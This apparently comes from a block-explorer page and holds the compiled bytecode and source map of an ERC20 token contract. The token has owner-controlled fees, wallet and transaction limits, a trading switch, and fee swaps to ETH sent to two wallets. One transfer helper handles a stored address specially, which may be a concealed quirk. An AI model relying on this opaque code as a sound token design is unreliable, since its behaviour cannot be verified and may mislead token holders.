60248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610844565b6109b98533858403611137565b506001949350505050565b335f8181526006602090815260408083206001600160a01b038716845290915281205490916109129185906109fa9086906120e1565b611137565b5f546001600160a01b03163314610a285760405162461bcd60e51b8152600401610844906120aa565b633b9aca006103e8610a3960045490565b610a4490600161212c565b610a4e9190612143565b610a589190612143565b811015610a915760405162461bcd60e51b81526020600482015260076024820152666c7420302e312560c81b6044820152606401610844565b610a9f81633b9aca0061212c565b600a5550565b5f546001600160a01b03163314610ace5760405162461bcd60e51b8152600401610844906120aa565b600e829055600f819055610ae281836120e1565b600d819055603c1015610872575f80fd5b5f546001600160a01b03163314610b1c5760405162461bcd60e51b8152600401610844906120aa565b610b255f61197a565b565b5f80546001600160a01b03163314610b515760405162461bcd60e51b8152600401610844906120aa565b620186a0610b5e60045490565b610b6990600161212c565b610b739190612143565b821015610bb15760405162461bcd60e51b815260206004820152600c60248201526b6c7420302e3030312520747360a01b6044820152606401610844565b6103e8610bbd60045490565b610bc890600561212c565b610bd29190612143565b821115610c0e5760405162461bcd60e51b815260206004820152600a6024820152696c7420302e352520747360b01b6044820152606401610844565b50600b81905560015b919050565b5f80546001600160a01b03163314610c465760405162461bcd60e51b8152600401610844906120aa565b506009805460ff60b01b19169055600190565b5f546001600160a01b03163314610c825760405162461bcd60e51b8152600401610844906120aa565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cde573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d029190612162565b6001600160a01b031663e6a43905307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d6d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d919190612162565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610dda573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dfe9190612162565b600780546001600160a01b0319166001600160a01b0392831690811782555f908152601760209081526040808320805460ff199081166001908117909255945490951683526019909152902080549091169091179055565b5f546001600160a01b03163314610e7f5760405162461bcd60e51b8152600401610844906120aa565b60098054911515600160a81b0260ff60a81b19909216919091179055565b5f546001600160a01b03163314610ec65760405162461bcd60e51b8152600401610844906120aa565b6001600160a01b03919091165f908152601760205260409020805460ff1916911515919091179055565b606060028054610885906120f4565b335f9081526006602090815260408083206001600160a01b038616845290915281205482811015610f805760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610844565b610f8d3385858403611137565b5060019392505050565b5f61091233848461125a565b5f546001600160a01b03163314610fcc5760405162461bcd60e51b8152600401610844906120aa565b6001600160a01b03919091165f908152601660205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461101f5760405162461bcd60e51b8152600401610844906120aa565b6009805461ffff60a01b191661010160a01b179055565b5f546001600160a01b0316331461105f5760405162461bcd60e51b8152600401610844906120aa565b6001600160a01b0381166110855760405162461bcd60e51b8152600401610844906120aa565b61108e8161197a565b50565b5f546001600160a01b031633146110ba5760405162461bcd60e51b8152600401610844906120aa565b633b9aca006103e86110cb60045490565b6110d690600561212c565b6110e09190612143565b6110ea9190612143565b8110156111235760405162461bcd60e51b81526020600482015260076024820152666c7420302e352560c81b6044820152606401610844565b61113181633b9aca0061212c565b600c5550565b6001600160a01b0383166111995760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610844565b6001600160a01b0382166111fa5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610844565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661129f5760405162461bcd60e51b815260206004820152600c60248201526b199c9bdb480c1e0c0818591960a21b6044820152606401610844565b6001600160a01b0382166112e25760405162461bcd60e51b815260206004820152600a6024820152691d1bc80c1e0c0818591960b21b6044820152606401610844565b805f036112f9576112f483835f6119c9565b505050565b600954600160b01b900460ff16156116cb575f546001600160a01b0384811691161480159061133557505f546001600160a01b03838116911614155b801561134957506001600160a01b03821615155b801561136057506001600160a01b03821661dead14155b801561136f575060155460ff16155b156116cb57600954600160a01b900460ff16611403576001600160a01b0383165f9081526016602052604090205460ff16806113c257506001600160a01b0382165f9081526016602052604090205460ff165b6114035760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f742061637469766560701b6044820152606401610844565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03161415801561145d57506001600160a01b0383165f9081526019602052604090205460ff16155b156114dd57325f9081526018602052604090205443116114cb5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610844565b325f9081526018602052604090204390555b6001600160a01b0383165f9081526019602052604090205460ff16801561151c57506001600160a01b0382165f9081526017602052604090205460ff16155b156115c757600a5481111561155f5760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b6044820152606401610844565b600c546001600160a01b0383165f9081526005602052604090205461158490836120e1565b11156115c25760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b6044820152606401610844565b6116cb565b6001600160a01b0382165f9081526019602052604090205460ff16801561160657506001600160a01b0383165f9081526017602052604090205460ff16155b1561164957600a548111156115c25760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b6044820152606401610844565b6001600160a01b0382165f9081526017602052604090205460ff166116cb57600c546001600160a01b0383165f9081526005602052604090205461168d90836120e1565b11156116cb5760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b6044820152606401610844565b305f90815260056020526040902054600b54811080159081906116f75750600954600160a81b900460ff165b8015611706575060155460ff16155b801561172a57506001600160a01b0385165f9081526019602052604090205460ff16155b801561174e57506001600160a01b0385165f9081526016602052604090205460ff16155b801561177257506001600160a01b0384165f9081526016602052604090205460ff16155b15611797576015805460ff1916600117905561178c611ba0565b6015805460ff191690555b6015546001600160a01b0386165f9081526016602052604090205460ff918216159116806117dc57506001600160a01b0385165f9081526016602052604090205460ff165b156117e457505f5b5f8115611966576001600160a01b0386165f9081526019602052604090205460ff16801561181357505f601054115b1561189f57611838606461183260105488611ce890919063ffffffff16565b90611cfa565b90506010546012548261184b919061212c565b6118559190612143565b60145f82825461186591906120e1565b909155505060105460115461187a908361212c565b6118849190612143565b60135f82825461189491906120e1565b909155506119489050565b6001600160a01b0387165f9081526019602052604090205460ff1680156118c757505f600d54115b15611948576118e66064611832600d5488611ce890919063ffffffff16565b9050600d54600f54826118f9919061212c565b6119039190612143565b60145f82825461191391906120e1565b9091555050600d54600e54611928908361212c565b6119329190612143565b60135f82825461194291906120e1565b90915550505b8015611959576119598730836119c9565b611963818661217d565b94505b6119718787876119c9565b50505050505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316611a2d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610844565b6001600160a01b038216611a8f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610844565b6001600160a01b0383165f9081526005602052604090205481811015611b065760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610844565b81611b1085611d05565b6001600160a01b038087165f90815260056020526040808220949093039093558516825281208054849290611b469084906120e1565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b9291815260200190565b60405180910390a350505050565b305f9081526005602052604081205490505f601454601354611bc291906120e1565b90505f821580611bd0575081155b15611bda57505050565b600b54611be890601461212c565b831115611c0057600b54611bfd90601461212c565b92505b47611c0a84611d54565b5f611c154783611f0a565b90505f611c318561183260145485611ce890919063ffffffff16565b5f601381905560148190556009546040519293506001600160a01b031691839181818185875af1925050503d805f8114611c86576040519150601f19603f3d011682016040523d82523d5f602084013e611c8b565b606091505b50506008546040519195506001600160a01b03169047905f81818185875af1925050503d805f8114611cd8576040519150601f19603f3d011682016040523d82523d5f602084013e611cdd565b606091505b505050505050505050565b5f611cf3828461212c565b9392505050565b5f611cf38284612143565b6003545f906001600160a01b038381169116148015611d2c57505f546001600160a01b0316155b611d4d576001600160a01b0382165f90815260056020526040902054610916565b5f92915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611d8757611d87612190565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e03573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e279190612162565b81600181518110611e3a57611e3a612190565b60200260200101906001600160a01b031690816001600160a01b031681525050611e85307f000000000000000000000000000000000000000000000000000000000000000084611137565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611ed99085905f908690309042906004016121a4565b5f604051808303815f87803b158015611ef0575f80fd5b505af1158015611f02573d5f803e3d5ffd5b505050505050565b5f611cf3828461217d565b5f8060408385031215611f26575f80fd5b50508035926020909101359150565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461108e575f80fd5b5f8060408385031215611f8f575f80fd5b8235611f9a81611f6a565b946020939093013593505050565b5f805f60608486031215611fba575f80fd5b8335611fc581611f6a565b92506020840135611fd581611f6a565b929592945050506040919091013590565b5f60208284031215611ff6575f80fd5b5035919050565b5f6020828403121561200d575f80fd5b8135611cf381611f6a565b80358015158114610c17575f80fd5b5f60208284031215612037575f80fd5b611cf382612018565b5f8060408385031215612051575f80fd5b823561205c81611f6a565b915061206a60208401612018565b90509250929050565b5f8060408385031215612084575f80fd5b823561208f81611f6a565b9150602083013561209f81611f6a565b809150509250929050565b6020808252600990820152683737ba1037bbb732b960b91b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820180821115610916576109166120cd565b600181811c9082168061210857607f821691505b60208210810361212657634e487b7160e01b5f52602260045260245ffd5b50919050565b8082028115828204841417610916576109166120cd565b5f8261215d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215612172575f80fd5b8151611cf381611f6a565b81810381811115610916576109166120cd565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156121f45783516001600160a01b03168352602093840193909201916001016121cd565b50506001600160a01b03959095166060840152505060800152939250505056fea264697066735822122062b4ba4e6fed9b01f5e0abbff2c01a68d9e897d3ef0e06dc83ed84bf919a9a2c64736f6c634300081a0033
Deployed Bytecode
0x608060405260043610610278575f3560e01c80638d7b76c91161014a578063a9059cbb116100be578063cff16b2f11610078578063cff16b2f1461075a578063d85ba0631461076f578063dd62ed3e14610784578063e4a1b95f146107c8578063f2fde38b146107dd578063f8acfffa146107fc575f80fd5b8063a9059cbb146106aa578063bbc0c742146106c9578063c0246668146106e9578063c04a541414610708578063c816841b14610727578063c9567bf914610746575f80fd5b80639c3b4fdc1161010f5780639c3b4fdc146105f05780639fccce3214610605578063a0d82dc51461061a578063a457c2d71461062f578063a72905a21461064e578063a781dc351461067c575f80fd5b80638d7b76c91461056e5780638da5cb5b14610582578063924de9b71461059e57806394a1700e146105bd57806395d89b41146105dc575f80fd5b80634a62bb65116101ec57806370a08231116101a657806370a0823114610489578063715018a6146104bd5780637328afae146104d1578063735de9f7146104f0578063751039fc1461053b57806375f0a8741461054f575f80fd5b80634a62bb65146103d25780634fbee193146103f257806366ca9b83146104205780636a486a8e1461043f5780636ddd1713146104545780636e1b6cda14610474575f80fd5b806323b872dd1161023d57806323b872dd14610330578063313ce5671461034f57806335b5fb631461036a57806337da26ca1461037f578063395093511461039457806348898186146103b3575f80fd5b806302dbd8f81461028357806306fdde03146102a4578063095ea7b3146102ce57806318160ddd146102fd5780631f7ea8da1461031b575f80fd5b3661027f57005b5f80fd5b34801561028e575f80fd5b506102a261029d366004611f15565b61081b565b005b3480156102af575f80fd5b506102b8610876565b6040516102c59190611f35565b60405180910390f35b3480156102d9575f80fd5b506102ed6102e8366004611f7e565b610906565b60405190151581526020016102c5565b348015610308575f80fd5b506004545b6040519081526020016102c5565b348015610326575f80fd5b5061030d60135481565b34801561033b575f80fd5b506102ed61034a366004611fa8565b61091c565b34801561035a575f80fd5b50604051600981526020016102c5565b348015610375575f80fd5b5061030d60115481565b34801561038a575f80fd5b5061030d600c5481565b34801561039f575f80fd5b506102ed6103ae366004611f7e565b6109c4565b3480156103be575f80fd5b506102a26103cd366004611fe6565b6109ff565b3480156103dd575f80fd5b506009546102ed90600160b01b900460ff1681565b3480156103fd575f80fd5b506102ed61040c366004611ffd565b60166020525f908152604090205460ff1681565b34801561042b575f80fd5b506102a261043a366004611f15565b610aa5565b34801561044a575f80fd5b5061030d60105481565b34801561045f575f80fd5b506009546102ed90600160a81b900460ff1681565b34801561047f575f80fd5b5061030d600b5481565b348015610494575f80fd5b5061030d6104a3366004611ffd565b6001600160a01b03165f9081526005602052604090205490565b3480156104c8575f80fd5b506102a2610af3565b3480156104dc575f80fd5b506102ed6104eb366004611fe6565b610b27565b3480156104fb575f80fd5b506105237f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016102c5565b348015610546575f80fd5b506102ed610c1c565b34801561055a575f80fd5b50600854610523906001600160a01b031681565b348015610579575f80fd5b506102a2610c59565b34801561058d575f80fd5b505f546001600160a01b0316610523565b3480156105a9575f80fd5b506102a26105b8366004612027565b610e56565b3480156105c8575f80fd5b506102a26105d7366004612040565b610e9d565b3480156105e7575f80fd5b506102b8610ef0565b3480156105fb575f80fd5b5061030d600f5481565b348015610610575f80fd5b5061030d60145481565b348015610625575f80fd5b5061030d60125481565b34801561063a575f80fd5b506102ed610649366004611f7e565b610eff565b348015610659575f80fd5b506102ed610668366004611ffd565b60196020525f908152604090205460ff1681565b348015610687575f80fd5b506102ed610696366004611ffd565b60176020525f908152604090205460ff1681565b3480156106b5575f80fd5b506102ed6106c4366004611f7e565b610f97565b3480156106d4575f80fd5b506009546102ed90600160a01b900460ff1681565b3480156106f4575f80fd5b506102a2610703366004612040565b610fa3565b348015610713575f80fd5b50600954610523906001600160a01b031681565b348015610732575f80fd5b50600754610523906001600160a01b031681565b348015610751575f80fd5b506102a2610ff6565b348015610765575f80fd5b5061030d600a5481565b34801561077a575f80fd5b5061030d600d5481565b34801561078f575f80fd5b5061030d61079e366004612073565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156107d3575f80fd5b5061030d600e5481565b3480156107e8575f80fd5b506102a26107f7366004611ffd565b611036565b348015610807575f80fd5b506102a2610816366004611fe6565b611091565b5f546001600160a01b0316331461084d5760405162461bcd60e51b8152600401610844906120aa565b60405180910390fd5b6011829055601281905561086181836120e1565b601081905560451015610872575f80fd5b5050565b606060018054610885906120f4565b80601f01602080910402602001604051908101604052809291908181526020018280546108b1906120f4565b80156108fc5780601f106108d3576101008083540402835291602001916108fc565b820191905f5260205f20905b8154815290600101906020018083116108df57829003601f168201915b5050505050905090565b5f610912338484611137565b5060015b92915050565b5f61092884848461125a565b6001600160a01b0384165f908152600660209081526040808320338452909152902054828110156109ac5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610844565b6109b98533858403611137565b506001949350505050565b335f8181526006602090815260408083206001600160a01b038716845290915281205490916109129185906109fa9086906120e1565b611137565b5f546001600160a01b03163314610a285760405162461bcd60e51b8152600401610844906120aa565b633b9aca006103e8610a3960045490565b610a4490600161212c565b610a4e9190612143565b610a589190612143565b811015610a915760405162461bcd60e51b81526020600482015260076024820152666c7420302e312560c81b6044820152606401610844565b610a9f81633b9aca0061212c565b600a5550565b5f546001600160a01b03163314610ace5760405162461bcd60e51b8152600401610844906120aa565b600e829055600f819055610ae281836120e1565b600d819055603c1015610872575f80fd5b5f546001600160a01b03163314610b1c5760405162461bcd60e51b8152600401610844906120aa565b610b255f61197a565b565b5f80546001600160a01b03163314610b515760405162461bcd60e51b8152600401610844906120aa565b620186a0610b5e60045490565b610b6990600161212c565b610b739190612143565b821015610bb15760405162461bcd60e51b815260206004820152600c60248201526b6c7420302e3030312520747360a01b6044820152606401610844565b6103e8610bbd60045490565b610bc890600561212c565b610bd29190612143565b821115610c0e5760405162461bcd60e51b815260206004820152600a6024820152696c7420302e352520747360b01b6044820152606401610844565b50600b81905560015b919050565b5f80546001600160a01b03163314610c465760405162461bcd60e51b8152600401610844906120aa565b506009805460ff60b01b19169055600190565b5f546001600160a01b03163314610c825760405162461bcd60e51b8152600401610844906120aa565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cde573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d029190612162565b6001600160a01b031663e6a43905307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d6d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d919190612162565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610dda573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dfe9190612162565b600780546001600160a01b0319166001600160a01b0392831690811782555f908152601760209081526040808320805460ff199081166001908117909255945490951683526019909152902080549091169091179055565b5f546001600160a01b03163314610e7f5760405162461bcd60e51b8152600401610844906120aa565b60098054911515600160a81b0260ff60a81b19909216919091179055565b5f546001600160a01b03163314610ec65760405162461bcd60e51b8152600401610844906120aa565b6001600160a01b03919091165f908152601760205260409020805460ff1916911515919091179055565b606060028054610885906120f4565b335f9081526006602090815260408083206001600160a01b038616845290915281205482811015610f805760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610844565b610f8d3385858403611137565b5060019392505050565b5f61091233848461125a565b5f546001600160a01b03163314610fcc5760405162461bcd60e51b8152600401610844906120aa565b6001600160a01b03919091165f908152601660205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461101f5760405162461bcd60e51b8152600401610844906120aa565b6009805461ffff60a01b191661010160a01b179055565b5f546001600160a01b0316331461105f5760405162461bcd60e51b8152600401610844906120aa565b6001600160a01b0381166110855760405162461bcd60e51b8152600401610844906120aa565b61108e8161197a565b50565b5f546001600160a01b031633146110ba5760405162461bcd60e51b8152600401610844906120aa565b633b9aca006103e86110cb60045490565b6110d690600561212c565b6110e09190612143565b6110ea9190612143565b8110156111235760405162461bcd60e51b81526020600482015260076024820152666c7420302e352560c81b6044820152606401610844565b61113181633b9aca0061212c565b600c5550565b6001600160a01b0383166111995760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610844565b6001600160a01b0382166111fa5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610844565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661129f5760405162461bcd60e51b815260206004820152600c60248201526b199c9bdb480c1e0c0818591960a21b6044820152606401610844565b6001600160a01b0382166112e25760405162461bcd60e51b815260206004820152600a6024820152691d1bc80c1e0c0818591960b21b6044820152606401610844565b805f036112f9576112f483835f6119c9565b505050565b600954600160b01b900460ff16156116cb575f546001600160a01b0384811691161480159061133557505f546001600160a01b03838116911614155b801561134957506001600160a01b03821615155b801561136057506001600160a01b03821661dead14155b801561136f575060155460ff16155b156116cb57600954600160a01b900460ff16611403576001600160a01b0383165f9081526016602052604090205460ff16806113c257506001600160a01b0382165f9081526016602052604090205460ff165b6114035760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f742061637469766560701b6044820152606401610844565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b03161415801561145d57506001600160a01b0383165f9081526019602052604090205460ff16155b156114dd57325f9081526018602052604090205443116114cb5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610844565b325f9081526018602052604090204390555b6001600160a01b0383165f9081526019602052604090205460ff16801561151c57506001600160a01b0382165f9081526017602052604090205460ff16155b156115c757600a5481111561155f5760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b6044820152606401610844565b600c546001600160a01b0383165f9081526005602052604090205461158490836120e1565b11156115c25760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b6044820152606401610844565b6116cb565b6001600160a01b0382165f9081526019602052604090205460ff16801561160657506001600160a01b0383165f9081526017602052604090205460ff16155b1561164957600a548111156115c25760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b6044820152606401610844565b6001600160a01b0382165f9081526017602052604090205460ff166116cb57600c546001600160a01b0383165f9081526005602052604090205461168d90836120e1565b11156116cb5760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b6044820152606401610844565b305f90815260056020526040902054600b54811080159081906116f75750600954600160a81b900460ff165b8015611706575060155460ff16155b801561172a57506001600160a01b0385165f9081526019602052604090205460ff16155b801561174e57506001600160a01b0385165f9081526016602052604090205460ff16155b801561177257506001600160a01b0384165f9081526016602052604090205460ff16155b15611797576015805460ff1916600117905561178c611ba0565b6015805460ff191690555b6015546001600160a01b0386165f9081526016602052604090205460ff918216159116806117dc57506001600160a01b0385165f9081526016602052604090205460ff165b156117e457505f5b5f8115611966576001600160a01b0386165f9081526019602052604090205460ff16801561181357505f601054115b1561189f57611838606461183260105488611ce890919063ffffffff16565b90611cfa565b90506010546012548261184b919061212c565b6118559190612143565b60145f82825461186591906120e1565b909155505060105460115461187a908361212c565b6118849190612143565b60135f82825461189491906120e1565b909155506119489050565b6001600160a01b0387165f9081526019602052604090205460ff1680156118c757505f600d54115b15611948576118e66064611832600d5488611ce890919063ffffffff16565b9050600d54600f54826118f9919061212c565b6119039190612143565b60145f82825461191391906120e1565b9091555050600d54600e54611928908361212c565b6119329190612143565b60135f82825461194291906120e1565b90915550505b8015611959576119598730836119c9565b611963818661217d565b94505b6119718787876119c9565b50505050505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316611a2d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610844565b6001600160a01b038216611a8f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610844565b6001600160a01b0383165f9081526005602052604090205481811015611b065760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610844565b81611b1085611d05565b6001600160a01b038087165f90815260056020526040808220949093039093558516825281208054849290611b469084906120e1565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b9291815260200190565b60405180910390a350505050565b305f9081526005602052604081205490505f601454601354611bc291906120e1565b90505f821580611bd0575081155b15611bda57505050565b600b54611be890601461212c565b831115611c0057600b54611bfd90601461212c565b92505b47611c0a84611d54565b5f611c154783611f0a565b90505f611c318561183260145485611ce890919063ffffffff16565b5f601381905560148190556009546040519293506001600160a01b031691839181818185875af1925050503d805f8114611c86576040519150601f19603f3d011682016040523d82523d5f602084013e611c8b565b606091505b50506008546040519195506001600160a01b03169047905f81818185875af1925050503d805f8114611cd8576040519150601f19603f3d011682016040523d82523d5f602084013e611cdd565b606091505b505050505050505050565b5f611cf3828461212c565b9392505050565b5f611cf38284612143565b6003545f906001600160a01b038381169116148015611d2c57505f546001600160a01b0316155b611d4d576001600160a01b0382165f90815260056020526040902054610916565b5f92915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611d8757611d87612190565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e03573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e279190612162565b81600181518110611e3a57611e3a612190565b60200260200101906001600160a01b031690816001600160a01b031681525050611e85307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611137565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611ed99085905f908690309042906004016121a4565b5f604051808303815f87803b158015611ef0575f80fd5b505af1158015611f02573d5f803e3d5ffd5b505050505050565b5f611cf3828461217d565b5f8060408385031215611f26575f80fd5b50508035926020909101359150565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461108e575f80fd5b5f8060408385031215611f8f575f80fd5b8235611f9a81611f6a565b946020939093013593505050565b5f805f60608486031215611fba575f80fd5b8335611fc581611f6a565b92506020840135611fd581611f6a565b929592945050506040919091013590565b5f60208284031215611ff6575f80fd5b5035919050565b5f6020828403121561200d575f80fd5b8135611cf381611f6a565b80358015158114610c17575f80fd5b5f60208284031215612037575f80fd5b611cf382612018565b5f8060408385031215612051575f80fd5b823561205c81611f6a565b915061206a60208401612018565b90509250929050565b5f8060408385031215612084575f80fd5b823561208f81611f6a565b9150602083013561209f81611f6a565b809150509250929050565b6020808252600990820152683737ba1037bbb732b960b91b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820180821115610916576109166120cd565b600181811c9082168061210857607f821691505b60208210810361212657634e487b7160e01b5f52602260045260245ffd5b50919050565b8082028115828204841417610916576109166120cd565b5f8261215d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215612172575f80fd5b8151611cf381611f6a565b81810381811115610916576109166120cd565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156121f45783516001600160a01b03168352602093840193909201916001016121cd565b50506001600160a01b03959095166060840152505060800152939250505056fea264697066735822122062b4ba4e6fed9b01f5e0abbff2c01a68d9e897d3ef0e06dc83ed84bf919a9a2c64736f6c634300081a0033
Deployed Bytecode Sourcemap
14438:9058:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18470:256;;;;;;;;;;-1:-1:-1;18470:256:0;;;;;:::i;:::-;;:::i;:::-;;10240:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10970:169;;;;;;;;;;-1:-1:-1;10970:169:0;;;;;:::i;:::-;;:::i;:::-;;;1461:14:1;;1454:22;1436:41;;1424:2;1409:18;10970:169:0;1296:187:1;10560:108:0;;;;;;;;;;-1:-1:-1;10648:12:0;;10560:108;;;1634:25:1;;;1622:2;1607:18;10560:108:0;1488:177:1;15137:30:0;;;;;;;;;;;;;;;;11330:492;;;;;;;;;;-1:-1:-1;11330:492:0;;;;;:::i;:::-;;:::i;10460:92::-;;;;;;;;;;-1:-1:-1;10460:92:0;;10543:1;2325:36:1;;2313:2;2298:18;10460:92:0;2183:184:1;15068:28:0;;;;;;;;;;;;;;;;14888:35;;;;;;;;;;;;;;;;11830:215;;;;;;;;;;-1:-1:-1;11830:215:0;;;;;:::i;:::-;;:::i;17991:214::-;;;;;;;;;;-1:-1:-1;17991:214:0;;;;;:::i;:::-;;:::i;14760:33::-;;;;;;;;;;-1:-1:-1;14760:33:0;;;;-1:-1:-1;;;14760:33:0;;;;;;15240:50;;;;;;;;;;-1:-1:-1;15240:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;18213:249;;;;;;;;;;-1:-1:-1;18213:249:0;;;;;:::i;:::-;;:::i;15033:28::-;;;;;;;;;;;;;;;;14722:31;;;;;;;;;;-1:-1:-1;14722:31:0;;;;-1:-1:-1;;;14722:31:0;;;;;;14849:32;;;;;;;;;;;;;;;;10676:127;;;;;;;;;;-1:-1:-1;10676:127:0;;;;;:::i;:::-;-1:-1:-1;;